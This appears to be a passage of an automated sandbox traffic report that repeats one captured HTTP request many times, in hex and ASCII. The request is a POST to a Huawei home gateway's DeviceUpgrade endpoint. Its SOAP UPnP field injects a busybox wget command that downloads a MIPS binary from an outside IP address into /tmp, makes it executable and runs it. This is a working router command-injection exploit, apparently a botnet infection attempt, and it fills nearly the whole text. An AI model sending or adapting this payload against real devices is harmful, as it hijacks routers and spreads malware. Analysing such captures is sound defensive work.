3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
